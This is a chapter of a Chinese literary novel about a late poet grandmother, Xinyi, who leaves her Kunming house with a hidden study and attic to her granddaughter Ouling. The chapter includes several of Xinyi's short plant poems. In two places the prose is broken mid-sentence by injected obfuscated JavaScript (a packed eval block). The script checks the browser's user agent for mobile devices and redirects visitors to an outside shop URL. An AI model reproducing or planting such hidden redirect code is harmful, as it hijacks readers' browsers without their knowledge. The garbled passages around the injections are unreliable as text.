再比如,到了晚春,樱花季,全城的人都在粉色的庇佑下。人们常说,樱花树下,谁站都美。这在昆明更是事实。无论是去送外卖的小伙子,做房屋中介的小青年,掀开井盖检查下水系统的工人,还是路边清扫卫生的环卫工人,哪怕,是银行门口的石头狮子,是街上最普通不过的一扇窗户,这样的时刻,普普通通的大家,普普通通的食物,只要在樱花树下,都变得更美了。尤其是整条街都开了樱花时,开着小电动车、车后座绑完饮用水空水桶的送水工人,车屁股后面空桶一颠一颠的,在一条粉色的路上,像一只快活的踩着花路的孔雀。 在这样的地方,人不可能对花草树木无动于衷。我最开始,喜欢盛开的。后来,也喜欢掉落的。有时候,我看到黄色的郁金香花瓣被风吹到紫色的郁金香花朵里,会觉得这个世界很温柔,我觉得它们在偷偷地牵手。我看到一棵直挺挺的雪松,和一棵柔韧得可以弯腰的毛竹碰在一起,我觉得风在帮助一对恋人在空中亲吻。 这就是我日常生活中每天都可能遇到的画面。云南的植草丰茂而且明朗,以润物细无声的方式,在最平淡日常生活中,滋养了我对植物的一些笨拙的诗歌创作。它们会制造一些可爱的巧合与故事,在我已经不如年轻时期那样灵光的大脑里。 我会用诗来表达它们,但其实,我并不懂太多关于诗歌的知识。我想,写诗对于我而言,很像是,我由衷地想告诉大家一些很美好的事,所以它就存在了,所以我就笨拙地会写了。 比如,我看到一个人躺在草坪上,旁边,还有一个人也躺着。他们都在晒太阳。顺着两人面朝的方向看过去,有一棵开着的樱花树。后来我发现,这样的画面,只要你顺着人们最舒适的视线去找,一定会有一棵很好看的树,或者开得恰好的花。我碰巧知道了这个法则,我想把它告诉你们,所以就写了诗。 他知道,他们都知道,我知道,现在也你知道了。 就是这样,很简单。” -- 辛夷留下了大概100多首写花草的小诗。二更也找来一些,在电话里读给姜籽听。 -- 《柳絮的幻想》 原是不可能在一起的 公园里湖边柳树上的我 公园外湖边海棠树上的她 幸好我们都会落 我很早就决定 要比她更努力地飞 攒成一团,伺机翻滚 最后将她轻轻包裹 这是我的野心 几乎填充了全部的生命 风送我出行 并提前告知我生死未卜 而我赢了 当一个小女孩捧起 抱成一团的我们 叫出“粉雪花” 她就是花童 见证了一场暮春时的婚礼 验证了一团柳絮对爱的幻想 -- 《紫藤》 紫藤花开败 果荚满架 贪恋人间 再下一场雨 悬而不落 我路过这场雨 不湿衣衫 不解热渴 只把盼望中的下一场雨 染了些青绿颜色 -- 《鱼尾葵》 麻雀爱上一尾鱼 无力下水 徒劳低飞 原以为它放弃了 然而池边的鱼尾葵 它日日经停 -- 《容错》 把槐花种在竹林间的人 一定吃透了孤单 才藏白雪于常绿间 等到,有人槐花树下坐 花开就有了声响 与竹板相碰声一模一样 青竹有了浓香 与白槐花一模一样 等到,有人槐花树下坐 种了许久的心思 因认错,被认得 而竹与清风不纠错 前人后人亦不道破 -- 《白梦》 初夏午后 白莲初醒 一只死鱼翻肚白 一只乌龟爬叶舟 偶遇了 它轻轻嗅她的弥留 叶是温柔的 它在无人问津处 曳住鱼的幽魂 我是莽撞的 惊扰一只龟 不出声的伤怀 绽放的白轻摇 死了的白安梦 心软的乌龟 水中动 读罢,姜籽说,“那你去吧。” “怎么改变得这么快?”二更问。 “诗,是她留给这个世界爱的遗产,那么我相信,那份遗嘱也是。或许,小佘姐,你该帮这个忙。” - - 静园,滇池附近的一个小区,离滇池边不算远,散步距离可到,和周边商圈留出了恰好的两公里距离。“喧闹远得刚刚好,生活静得很方便”,这是当年售楼处的宣传语。 二更在小区门口见到了昨晚约好对接的律师,方竹。 “就是那棵会转着眼睛,看人的那棵树,对吗?”二更和方竹确认小区的精确入口。这次她长了心,免得重复去冬日可爱小菜园时的迷路。静园的正大门,远处正对着一座山。哪怕隔得远,小区的开发商也为了规避忌讳,在门口请了一棵高大的香樟树。香樟树这种树,有时候可以长得很敦厚,树型圆墩墩的,看起来活得十分丰足。不知哪位大师又给了个建议,说可以给这棵树装上一双眼睛,白天做造型装饰,夜晚放光做照明,还能对四方邪祟起到震慑作用。但承包团队大概误会了,照着可爱文创的路子做了设计,这一双眼睛做成了卡通风格,又大得格外显眼。滇式边上有了一棵会瞪人的树,这消息一出,无数好热闹的人前来打卡。最近,这静园的外围,是一点都不清净。 和方竹顺利碰面后,二更跟随她走入小区。 静园的房子设计得挺特别,并不财大气粗,大多数小别墅都是面积适中,两、三层规制。当年,它主打的概念之一,是适合单人居住的小别墅。一经开盘,就格外受到女性业主的欢迎。有人买来独居,也有人买来做工作室。每一栋别墅之间都隔出了奇妙的距离,隔离设施全部以绿化带来实现,比如狭长的竹林、灌木带。因此,小区里的植物很丰茂。 这引出了小区的第二个特点,绿化相较别处格外“放肆”。植物在这里比房子和人更显眼。 物管处的三角形屋顶爬满了正红色的三角梅与炮仗花;屋檐上,两棵硕大的鸟巢蕨肆意伸展,把三角屋顶装点得像一个带着皇冠的王。楼下的主花坛里,换锦花也到了花期,红粉佳人倒十分典雅,只是一旁,地栽马蹄莲开出了比花市大几倍的花朵,气势滂沱,倒显得小家碧玉们不够活泼了。 二更望着马蹄莲大酒杯一般的花朵,感受到了它的盛情,心里思忖着这个小区,是不是每日给这些植物们喂酒喝,不然为什么个个都舞得这样狂放。相比之下,一栋栋小别墅倒像是它们肆意去装点、把玩的小手办了。 辛夷的那栋房子,是一处朝南的红顶小洋楼,两层,有一点点闽南华侨燕归巢后修建的红砖洋楼之风格。下午三点多,日光依然充足,走入房子,室内敞亮温暖,客厅像一个罩着透光玻璃罩子的积木造景。走入房子里的人,就像是走近了迷你积木小屋的小人,一瞬间,生出了童话小屋主角才会有的幸福错觉。 欧菱早已等在室内。在二更的见证下,方竹作为辛夷女士的遗嘱执行人,向相关继承人公开这份自书遗嘱的内容。遗嘱大致内容如下:辛夷将名下位于静园的房产赠予欧菱,但有两个条件。第一,该房产仅限欧菱自住,可以改造为小型的录音工作室,但不可租赁或赠予他人。第二,在欧菱40岁之前,该房产不可买卖。 年轻的女孩得到了一处房产,然而,她此刻脸上更多是不解。 “为什么是40岁之后?”欧菱带着不解看向二更。 二更一直在琢磨她这个角色在场的意义。听到遗产的具体内容后,她似乎有一点点把握。她,是辛夷女士冥冥之中为欧菱指定的老师,但她有些忐忑,不知自己能不能完成好。“容我想一想,呆会儿尽力给一个答案,好吗?”二更问得很诚恳。 方竹打破了有些沉静的氛围,她介绍说,当初,辛夷来看这个房子时,第一次来就觉得各处都很合适。房屋维护得不错,整体很新,有轻微的生活痕迹,但很少有明显的损伤。第二次来,中介等在室内,辛夷在敲门时发现,门外的三种门铃,物业配置的门铃、密码锁上的门铃和摄像头门铃,统统不管用,只能敲门。中介很抱歉地解释说,房子的原主人是个很安静的人,年纪大了,社交关系少,因此几乎用不到门铃。但她保证,所有门铃都没有坏,她试过,充电或者换一下电池就好了。 就在中介十分忐忑地担心,辛夷会因为前一任房主有些奇怪而退却,内心打鼓这单生意大概要就此黄了的时候,辛夷当即决定,“就这栋了吧”。 房子的上一任主人的,给室内做了多层隔音工程,让房子的容积小了一点点。小得恰到好处,一个人住很宽敞,又不会觉得空间过分浪费。辛夷后来做的改动很少。内外门窗前段时间重新换了颜色,换的是古典且宁静的绿,让人一看就想起超市里的浅绿色瓶装纯净水。家具并不多,只备了些日常必需的。大部分家具是白色系,偶尔夹杂一些暖橘、浅粉色调,摆放疏密得当,动线明朗。日用电器一应俱全,其中不少是适合女性单人使用的小厨具、小家电。 在做过这些处理之后,这仍是一个有轻微使用痕迹的新房子,残留着温馨的生活气息,即便人们第一次走进来,也不会觉得冰冷。它像一个被家人暖过了的家。 房子里还有植物,尽管无人居住,仍有保洁代为看护,长势都不错。露台上,放在高处花架上的春羽与龟背竹自然垂落,形成两道优雅的弧形,在空中呈现交织的趋势。地上,蓝雪花顺着花架,爬到很高的地方,与龟背竹遥相呼应。龟背竹不是天生挺拔的植物,叶子长得越大越容易散落,软趴趴地越长越歪,露台上的这一株生得很大,底部有一个隐身的枝叶固定器,透明的叶子形状,不起眼得像一片叶子,却能让整株植物的姿态更挺拔迷人。花架上,一盆硕大的天门冬像一只八爪鱼爷爷。油画吊篮也长得很豪横,它的花盆风格古典,四只脚是卷草 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294817|198549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纹的造型,远远看去,像一个掐着腰叉着腿很傲气的公主,昂起一头蓬松茂密的粉色头发。 常见的大型植物天堂鸟,被放在了最靠近阳光且通风的地方,居然开出了真的天堂鸟的花。不是常见的橘色系,而是白色的,像绿野里的一只白鹭。天堂鸟这种植物,很多人都曾买回家养。在没有阳光直射或封闭的空间里,不到一年,它的状态就不好了。而这棵生得健硕,叶子油亮,像乡野里老天爷养的芭蕉一样健康。大叶子下放了只藤椅,它的位置是日光很好的地方,上面的颈椎枕也很贴心。一阵风来,天堂鸟的大叶子轻轻摇,摇椅也跟着轻微地动了动。 这个家里的一切,都准备好了。如今,它们欢迎着新主人。 “欧菱女士”,方竹找了个恰当的时机,打断了欧菱对这栋房子的逡巡,“还有一件事,要和您说明。” “这栋房子买下来后,经过简单的修整,曾经出租过。您的奶奶辛夷女士曾委托我找到一家房屋中介,要求房屋只租给独自来昆明旅居的女士。我们很幸运地找到了一位在昆明旅居一年的客人。这位租客很友好,对房屋很爱惜,在租房期间,结合自己的生活需求提过很多实用的建议。所以,您如果看到房子有轻微的生活痕迹,不必介意。一方面,它们是上一位房东留下的,另一方面,也是辛夷女士根据之前的租客的建议,进行了一些更适合女性居住的改造。与其说是旧的痕迹,它们更像是提前为您备下的体贴设计。 您的奶奶很爱您。这是我工作之后,接到过的最特别的一项委托。包括在后续帮忙修护房屋的过程中,我都能体会到一位长者对于孙女的呵护。 希望您喜欢它。” 随后,方竹与欧菱约定好时间,持遗嘱等相关材料到公证处办理继承公证、到房产管理部门办理过户手续,在又一次表达了诚挚的恭喜后,方竹告辞。 房内只余两人。二更又一次用欣羡的目光,细细打量房中的一切。以她独自居住多年的经验来看,所有家具的高度,对女性都很友好,欧菱不必踮起脚或是搬个凳子来够什么东西。所有家具的线条,饱满流畅,没有突兀的棱角。很多细微之处,都在向主人确认,这个家是温和的,不刺激的。下午时分的窗帘,放了一部分柔和的日光进来,洒在地板上,拼凑出窗帘镂空的图案。是大片大片的树叶。日光在深棕色地板上造出了一片雨林,遮阳的同时,也能守护好室内的隐私。平心而论,房间的装饰与家具、家具用品都很朴素,并不花哨,也不奢华。但这里,有一种十分让人确信的安宁,有与外界恰当的距离。 “可以和我一起看看这个房子吗?这里,我也是第一次。”,欧菱问,““可不可以陪我上去,看一下卧室呢?”看得出来,欧菱很期待,二更也是。 二楼有两间卧室和书房,以及,一个面积不大但对欧菱来说,够用也实用的定制隔音间。对一个偶尔需要居家补录声音的职业配音演员来说,这是天大的助力。 两个卧室都很温馨。一间,无论家具还是灯具,看起来都比较古雅,包括黑白相间的小块地砖。更衣室是由几扇彩色玻璃屏风隔成的,传统的荷塘月色纹样。看起来,很像是奶奶辈的口味。另一间,房间不小,放了一个很有大学寝室风格的下书桌、下床铺的组合床。因选择上下组合家具,次卧多出来了一些地面空间,留给了奇怪的小玩具,成年人可以骑的小木马、带滑轮的趴趴猪大玩偶,还有一只很巨大的长颈鹿玩偶。二更估算了一下,如果欧菱真的想爬,她或许真的可以爬到脖子上,像一只考拉在按树林里抱住树一样,在自己家的卧室里抱住一只长颈鹿。 楼上两个房间,采光条件略有不同。一个日光饱满,冬、春、秋三季都住得舒服。一个日光半透不透的,适合夏天。老实说,昆明虽然四季日出,不需要空调,但夏季若有日光折射,仍有被烘烤到不适的可能。据说,小区里这种户型的三、两间卧室的设计,很得女性业主的喜欢。因为除了根据不同季节的温度、日晒情况能灵活调整住处,不同季节的衣服也可以放在不同房间的衣柜里,免得来来回回。 次卧里还有一个小小的衣柜,个头不高。二更站过去,她身高不到一米六,衣柜和她差不多高。这是一个可爱的定制衣柜,造型仿照了经典动画电影《灰姑娘》中那只会掐腰、会说话、会撒娇的衣柜精。由于掐着腰,衣柜从视觉上看起来歪歪斜斜的,柜门上的阴刻纹样还做了一个憋嘴的傲娇表情。 二更想起,主卧里也有一个衣柜,东方古典风韵,大气婉约圆润,衣柜上也有雕刻,是阳刻宝相花与石榴花。两个衣柜有一个共同点,高度都在1.7以下,把手都是浑圆的,像哆啦A梦的圆手。 真的很想上去拉一把。 欧菱也是这样想的,所以,她一把拉开了次卧衣柜的门。 没有什么事情发生。一个普普通通很好看的衣柜。 为什么竟然有些失望呢?难道期待从衣柜里跑出来一只白熊吗?二更问自己。 然而,抓着把手的欧菱似乎感受到了什么。她探着向左右转了一下。 “啪嗒”,衣柜旁边的一道暗门开了。 欧菱像一只小鱼穿游进去。很快,一只修长的胳膊又伸了出来,甩了甩,“小佘老师,进来!” 初极狭,才通人,彷佛若有光 -- 其实,没有那么复杂。一步迈进,里面藏着一间宽敞的书房。一张很大的工作桌,感觉可以开十个人的流水席了。电视机、冰箱、小沙发,宅女快乐屋里应有的一切,这里都有。它联通两个卧室的衣柜,隐在两间卧室之间。对身在其外的人来说,它是隐匿的。但走进来,视野开阔,透过正对面半六边形的落地窗,可以远远望见滇池边草长莺飞的湿地。近处,绿茵葱葱,罗汉松身姿绰约。绿影之间,路边行人身影偶现,但并不影响这一处密所内人心的安定。 当二更沉浸在窗景的远近皆宜时,欧菱留意到,小沙发背后,很容易被误认为是挂毯装饰的一条垂下来的软梯。她聂声聂脚,顺着软梯爬上去,天花板上有一个不起眼的开关。按下去,一块天花板开始移动。 她又一次兴奋地探过头来,对二更喊,“小佘老师,上来!” 天外有天,密室里还有秘密。原来书房顶上,还有一处小阁楼。阁楼体积不大,一面斜开的窗,压低了它的整体挑高。然而这窗是必要的,让人满眼皆是绿叶与蓝天。正对斜窗,它的对面,人可以直立行走的大空间里,也放了工作桌、小沙发等一组小型家具。隐中再隐,它们满足了这样一个需求:当一个人不仅想要躲开别人,还想躲开上一秒的自己时,她依然有去处。 有那么一个瞬间,二更产生了一个十分不恰当也不好解释的联想。她想到了--窑洞。她刚做记者时,去过一个山西的村子,采访过一位挖窑洞的老人家。老人说过一句话,她一直记到现在:“有个许身之地,人就踏实了,日子就会好起来”。在那个村子里,直到上世纪五、六十年代,人们都住在冬暖夏凉的土窑洞里。挖窑洞的这位匠人是因逃荒从隔壁乡过来的,在村里凭借一技之长,赚了钱,挖了许身之地,就留了下来。二更去村子时,他已经活到了九十七岁,口齿、眼神都还好,竟然还能在曾孙女的帮助下,和二更简单地聊些过往。 “想买”,二更又产生一个贪念。她复盘了自己一路从进门,一楼到二楼的路线,从次卧打开衣柜,从衣柜到密室,再从密室走向阁楼,这条有趣的线路,内心反复悬着两个字:想买。可惜啊,欧菱才是那个幸运儿。 “老天知道,我多羡慕你”,她呆呆地望着欧菱。“所以,为了平衡我的嫉妒心,可不可以请你告诉我,你到底对这个世界做了什么呢?” 15. 第九课(下):辛夷 偶尔躲藏 02 现在,她有了一个栖息地 欧菱看起来表情比她更呆滞,果然,人在开心的时候,都是呆呆的。 两个人都舍不得立马离开,就在阁楼的沙发上坐了下来,找一个角度尽量舒适地躺下去,让从颈椎到腰椎的整条脊柱好好地被承托,腿也伸得很惬意。 “为什么是40岁呢?小佘老师?”欧菱又一次问出了那个问题。 “我只能按照我有限的人生做一个简答题”,二更答,“不保证全对啊。” “我猜,是因为人在到达这个年纪之后,对于自己活一生如何最舒服,对于爱情、亲情、工作、爱好、物质、精神等等许多事如何权衡,都有过一番体认了。错过,也对过,风光过,也尴尬过,经过摸爬滚打,建立了自己的认知体系。那时候,一个人应该可以做出更理智的选择。 比如,面对一栋房子,那时的你应该可以理智地判定,它是一个庇护所?它是一个可以置换的资产?甚至或许那时候,它变得像一个负担?无论如何,那时的你,一定能做出一个不至于太冲动的笨蛋选择。 40岁,或许这是辛夷女士选出来的一个,怎么说呢,能开始把握美好人生的平均年岁值吧?” “我奶奶,就是在38岁和我爷爷在一起的。”欧菱说。“我爷爷那时年纪已经快五十了,她们之间差了十多岁。那个年代,老夫少妻虽然也有,但流言蜚语也并不不少。” “奶奶那时候,已经是一个很厉害的人了。她搞科研,铁皮石斛的人工培育。我爷爷是做医药产业的,最早比较初级,只做药材的种植、粗加工,再后来,才慢慢发展到医药的研发。当时有人说,他们的婚姻只是利益的一时结合,不是因为爱情。我小时候听到利益结合这种事,会有一种先入为主的不好的感受。但其实人成熟之后,就会明白,这只是一种人生选择,只要不伤害其他人,外人没有资格评论。 在我看来,我奶奶只是在人生的某个阶段,不再那么在意轰轰烈烈的爱情,而是选择了在事业上能够彼此扶植的伙伴。她和我爷爷之间也是相互忠诚的,或许,就是中年人的爱情,是‘理智平均值’上选择的婚姻?婚后,她和爷爷一起合作,把铁皮石斛的繁育、种植、粗加工、深加工和销售,逐渐打通,做成了一条在西南算得上领先的产业链。 我爷爷有三个孩子,奶奶没有孩子。所以,家庭关系相对简单一些。她做我奶奶的时候,我刚上小学。我爸是老大,他的年纪和她差不了几岁。头几年,家里气氛多少还是有点尴尬的。随着她慢慢变老,我爸也慢慢变老,关系就很神奇地缓和了。 主要原因倒也不是大家都老了,而是婚后,爷爷的生活和事业都变得更好了。如果不是那次旅游时遭遇车祸,或许他会很长寿。我奶奶,也是让家族企业成功转型的功臣,又没有后代,所以年纪大了,自然地退隐了,把重担交给了我父亲他们。她对我们这个家族,没有任何亏欠,甚至没有什么索取,反而给予了太多。我的父母和叔伯们对她都很敬重。 有了她,在一些家庭聚餐上,我这样做小辈的女孩子们反而过得会更自在一些。很多事情,她发话了,别人就不好意思说了,就比如婚恋之类有些老掉牙的话题。 她至始至终,都鼓励女孩子读书或者创业,不建议我们过早的嫁人。她总是说,自己也是38岁才找到爷爷的,人到中年,才真正感受到了什么事好的婚姻,如何活得健康通透。她这么一说,其他人就住口了,因为她说得也是事实。有了她,我才能很顺利地离开云南,去很远的大学读书。在那之前,我父母默认,我要在云南读书、找工作,20出头就找个门当户对的人、结婚生子,并且不用工作,或者在自家企业里找个清闲事。过去,对女孩子的要求总是很低的。我小学时候,我爸对我的成绩几乎一无所知,他不在意。 所以,我越长大越喜欢她。 奶奶过了58岁之后,就是爷爷去世之后的那一年,她变得安静了许多。家里人总说,老太太越来越难找了。她好像越来越喜欢躲起来,不让人找到。她是一个被宠爱得很好的人。比如,她吃到好吃的草莓蛋糕,会踮起脚尖来说好吃,很可爱吧?所以。爷爷会给她买很多不同味道的小蛋糕。小小的,她每一种吃一两口,也不会被谁说什么。她那么好,大家对她都很好,为什么要躲呢? 过去,我也不太明白。 后来我长大了一些,做了配音演员,经常要一个人在录音棚里工作。那天,我在录音棚工作到深夜,很累。说起来,录音棚工作氛围很友好,我们相处很愉快。同事约我一起回家,但我当时找了个借口,自己走了一段距离,才打车。我只是很想静一静,回个血。那段独自走的路,在工作后疲倦的夜晚,对我很重要。 我才逐渐明白,躲起来的必要性,也大概能明白奶奶了。她常年从事科研工作,习惯安静,习惯自己呆在实验室里。那大概是她的舒适区。即便是从实验室回到日常生活中,她或许依然想要自己待着,或者,自己藏着。大家对她好,是因为她好,她值得。她想躲起来,是因为她喜欢一个人待着,她需要。这两点完全没有什么关联,是彼此独立的。 前几年,我知道,她开始写诗了。她一开始也是想藏着的,但后来诗歌论坛总是寄东西到家里,阿姨知道了,然后全家就都知道了。她才不好意思地承认。直到是一个诗人之后,我就更理解了这种躲藏。她有一个属于自己的小世界,不方便被别人打扰。 这很好。这应该是一件被好好保护的事。” “你对衣柜里的密室,并不意外,对吗?”二更问。 “嗯。我小时候和她玩钻衣柜的游戏。其实,我奶奶并不是在爷爷去世后才变得爱躲藏的。她们在一起的时候,她就很喜欢一个人待着。只是因为我常去找她,所以我一直知道。我知道她的房间里有一个很大的衣柜,有时候,她甚至会在衣柜里睡午觉。一扇门开着,衣柜里有被褥铺好,我试过,不会闷,很舒服。反正她也是身形小小的,一直都不胖。 我还知道,她不只有这一个地方。我知道我爷爷偶尔也要找一找她。甚至我知道我爷爷奶奶也是会吵架的。但我奶奶更会躲,或者说,更能一个人呆着,所以她一点儿也不着急,从来不会主动耐不住寂寞,还是自己过自己的。如果她觉得,吵架的缘由不是自己的错,也绝不会主动去和解。大多数时候,都是爷爷忍不住了,要开口。还有那么两三次,是爷爷拜托我去送的草莓小蛋糕。我端着小蛋糕去找奶奶,有时候,她在书房,有时候,她在衣柜,有时候,她在我不知道的地方。我会把小蛋糕放在冰箱里,留一张纸条。她看到了,会给爷爷台阶下的。 她本来就是一个很喜欢睡觉的人。三十八岁之后,她就尽量每天九点睡觉了,一直到老,都看起来起色不错。她头发雪白时,依然会跑衣柜里睡觉。她还是会开一扇门,日光下,她的头发会闪光,像.....小银鱼,或者带鱼。”欧菱忍不住笑了,或许是因为很少有人会用带鱼来形容白发,“但真的有些像。何况,奶奶喜欢吃鱼,每周一次鱼,普通的罗非鱼吃得,贵一点的东星斑也吃得。她应该不会介意我这么说。能吃鱼,能睡觉,偶尔躲起来,这就是我从小到大关于一个活得挺好的老太太的印象,虽然有些奇怪,大概是改不了了。” 头发全白之后,辛夷开始喜欢穿一些微微有荧光的衣服外套,比如莹莹的紫,莹莹的白,莹莹的浅蓝色。也会偶尔在头上别一些古风但颜色艳丽的发卡,在银发的衬托下,发卡显得尤其可爱。 欧菱的眼中,即便到了这样的年纪,辛夷也没有给她“老”的感觉。准确地说,人的身体状态自然是在不断衰老的,但在心态和生活状态上,辛夷乎没有“老”过,不是容颜不减,而是她总是带着一种爽朗的少年人心性,愿意用积极的开阔的态度去看待人事。彷佛时间还很长,似乎一切起起伏伏都是常态,而且从不会倚老卖老。“你该如何”“你还年轻,认知错误”这类话,从来不会从她口中轻飘飘地说出。这一点,最好了。 “奶奶像是潜移默化地在我精神世界里抄了个底”,欧菱回忆说,“小时候甚至在大学时期,都没有觉察到这一点。工作后,自己要应对自己的人生时,我才觉得,我的行为,我对人生的远景规划,我做决定的方式,总是不自觉地以她为参照。老实说,我也习惯自己住,习惯有自己的工作,并不着急婚嫁,快三十了,也完全不觉得有什么。即便以后会有一些波折,结婚、离婚、被人背弃这些,我也不会很害怕,日子往前走,总有好事。毕竟,她是38岁才成为我奶奶的。” 欧菱顿了一下,语气有些忧伤,她继续说道,“她的肝病是开始从66岁那年不好的。从那时开始,我开始给她读书。” 欧菱是播音主持专业毕业之后进入配音行业的,科班出身的她对于任何一本书的处理都能游刃有余。但这一次,当朗读对象是辛夷时,她变得小心翼翼起来。她要求自己对音色、语速的处理,更加贴合病床上她的状态,对于字句的精微处理,都要饱含爱意。她想让自己的语言变成春雨,柔柔地服帖到奶奶身上。她像回到刚毕业试音时那样,开始紧张,甚至有些拿不准要读些什么。 辛夷有个从年轻时候就有的爱好,喜欢看推理小说。所以欧菱读了东野圭吾的大多数作品,也会读些其他作家的,比如《斜屋》,《钟表馆事件》。那时辛夷的精神和身体情况都还算积极,听到熟悉的探案小说的某个篇章,辛夷时常会突然冒出来一句“还有3个人死了,就会剧终了”。 随着辛夷的病情逐渐加重,欧菱在悬疑作品的选择上更慎重。她给辛夷读的最后一部小说,是《空屋》。这是一个看似悬疑实则温暖的故事。主角的妻子用极大的爱与尊重,赠予了丈夫一个充满想象力的设计空间,再度激活了他的人生。欧菱选择这本书,因为故事没有什么巨大的悬疑情节,没有情绪上的刻意起伏,尤其是,没有一个人受害被杀害,故事的最后反而是一个人精神意义上的重生。然而《空屋》读完之后,辛夷的生命已然快走到尽头。 所以她换了汪曾祺的散文。辛夷是广南人,但后半生都在昆明度过。所以欧菱会读汪曾祺的《人间草木》,读他如何写昆明的雨,写昆明街上拿着花走路的人,写院子里寻常且茂盛的花花草草。 最后,她选择的是《最后的哲学课》,一个面对死亡的哲学家给社会留下的一份无比豁达的精神遗产。 “我一直追求孤独,但这种孤独不是社会性的,更多的是理智上的。我有很多朋友,也爱跟大家一起玩儿,但是一个人应该学会孤独,学会做一个孤独的思想者,在心灵深处保守一片孤独的天地,让自己安静下来,默默耕耘自己的思想,冷静但热情地看待这个世界一不带任何幻想和猜想,同时又非常积极地去活。” “我曾经是一个男孩,一个女孩,一片灌木丛,一只鸟,和一条跃出海面的、沉默的鱼。” 读到这一句,欧菱停下来,轻轻地问,“奶奶,你想成为什么?” 她知道此时的辛夷并不能说出话来,却仍很想问。奶奶是一个很会藏起来的人。如果她想静一静,你总是找不到她。所以,她或许会想当一个很会藏在深海的海豚,或者,很会穿行在森林里的松鼠?总之,得擅长若隐若现。 “平凡才是终极真理、个人生命的体验才是最宝贵的。关注自己的意识,关注意识内容的修缮,让自已纯洁地感受世界。大家要相信自己的渺小不是卑微,因为恰恰是渺小的个人能凭借心中的道德律,媲美浩瀚的星空。我想这才是小大之辩的至理。庄子、薛定谔及暗淡蓝点,指向的可能都是这个道理。” 欧菱读着这几句,回想起许多年前,当她去读大学时,辛夷送她,和她讨论过自己的名字。“你知道你的名字是在怎么来的吗?我问过你爷爷,它来自一首歌,《采红菱》,是过去我们那个时代很流行的老歌。昆明有条路就叫红菱路。在我们这一辈人的心里,菱是很好的字。菱角是水中洁白的宝藏。你也要记得,你是被人爱着的。走多远,都要这样记得,不要怠慢了自己。”她长那么大,第一次有一个人这么坚定地和她讲述她的名字多么美好。 “死亡是融入生命的洪流,是生生不息,它不是一件值得我们忧伤的事,这就是死亡的意义。通过音乐、艺术、诗歌,表现的都是同一种思想,“我是万千逸动的风”。所以大家要积极地面对人生,更豁达地面对死亡,死亡是人生一个非常有意义的结局和开始。” 辛夷被宣告还有三个月的寿命之后,全家人心都悬着。反而是她自己,成了最从容不迫的那一个。她甚至还能主动地安排自己最后的人生要如何度过。最后一本书读完,辛夷的生命也走到了终点。她走得很安详。那是一个清晨,太阳尚未从云层中升起,但天气预报说,当天是晴。 那天,当欧菱读到“生者对亲人的离开感到悲痛是很正常的,悲痛持续也很正常,但是如果因此陷入无休止的悲痛,让自己生命中的一切都被悲痛笼罩、控制,在我看来,这就是对自己生命的不负责”,辛夷的手指,最后一次,动了动。 欧菱知道,这是辛夷在告别了。 二更静静地听完欧菱的讲述。或许是因为欧菱那些可爱的比喻,诸如带鱼、海豚、松鼠,她眼前浮现的,并不是一个老者临走之前的病弱样貌,而是亮闪闪的,一头银白头发的老人,背着身子也背着手,走在林荫道间,渐行渐远的身影。 “小佘老师,我知道你的”,欧菱似乎整理好的情绪,并打算换个话题。“我毕业之后接的第一个纪录片的配音,文本是甲方请你做的。所以,我第一个赚签的商业单和你有关。倒也没有特意关注制作团队的每一个名字,只不过,你的名字很特别。再加上,当我读到那篇文章的开头,觉得很有趣。它讲一个人在烟花三月到苏州,坐上公车上,路过36站去镇上见一个年画老人家,看他如何用朋克式的色彩画老寿星,用自己调过色的青绿色写李白的诗。我看了一眼写文案的人,二更,也是个有趣的名字,就记住了。回来昆明时,因为奶奶的病情,我时常需要在读书之余散散心。听说石房子改造了,还对外展览,我就去了。结果,又一次在策划团队名单里碰到这个名字。起初,我并不想打扰你的。只不过,奶奶离开后,留了一个奇怪的要求。我才鼓起勇气,想试试看。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294818|198549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“那么确定是我吗?”二更问。 “自然,也有同名同姓的可能,我那时想得很简单,如果是个女性,那应该就是一个人了。当然这并不严谨”,欧菱说,“我挺喜欢文化类纪录片录音的。不过之后签了公司,就转做文学类有声书和广播剧了,这几年,一半精力还会录游戏。离最初的入门路,反而原来越远。 我奶奶去世后,我情绪很差。接到方律师的电话,又知道了遗嘱宣布的附加条件,我一下子就懵了。我今年27岁,谈得来的朋友,年纪都差不多。能找到你,而且真的是你,我特别感激。 谢谢你能来,小佘老师,或许,你也是奶奶送来的礼物。所以,我照单全收。” 感觉完成了一项老天临时派来的任务,二更十分放松。她将头往后仰,想找一个更加放肆且舒服的姿态。但她几乎在沙发上平躺时,目光被一只白色的木质飞鸟吸引了。 天花板上有一个小小的飞鸟,白色,木质,用透明的鱼线固定,就在她们躺着的沙发背后,一直隐身得很好。如果不是这飞鸟身下,坠了一只风干了的黑色菱角,它或许还能继续隐身。 二更起身,走过去,轻轻拉了一下那只坠在鱼线下的菱角。菱角本身不大,风干后更轻。它是一个机关,拉动它,飞鸟的双翅上下翻飞,发出吱嘎吱嘎的声音。菱角脱手后,它还能继续飞一会儿。真是个很有童趣的小玩具。 欧菱也很好奇,起身和二更一起研究。和二更发现的手动拉线起飞方式不同,欧菱在寻觅,阁楼是否有窗。果然,斜着的窗户可以从底部撑开。随着一阵风被放进来,轻巧的鸟儿在将停时,又被吹动,又一次飞起来。 